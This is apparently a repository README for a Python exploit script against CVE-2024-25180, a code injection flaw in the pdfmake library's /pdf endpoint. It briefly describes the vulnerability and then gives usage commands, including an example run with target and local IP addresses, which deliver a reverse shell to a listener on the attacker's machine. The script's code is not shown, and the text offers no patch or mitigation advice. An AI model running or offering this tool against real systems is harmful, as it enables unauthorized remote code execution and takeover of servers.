dustblessnotdust/cve-2024-25180Python exploit script for CVE-2024-25180, a remote code execution vulnerability in pdfmake, delivering a reverse shell via crafted POST requests.
pdfmake is a pure JavaScript client/server PDF printing library. The affected versions of this package are vulnerable to arbitrary code injection. An attacker can execute arbitrary code by sending a crafted POST request to the /pdf path. The attacker can execute arbitrary code on the system by sending a crafted request.
CVE-2024-25180 Remote Code Execution in pdfmake
python3 CVE-2024-25180.py <TARGET_IP> <TARGET_PORT> <LOCAL_IP> <LOCAL_PORT>
python3 CVE-2024-25180.py 192.168.140.42 1234 192.168.45.208 80
Listening on port 80 will provide a reverse shell.
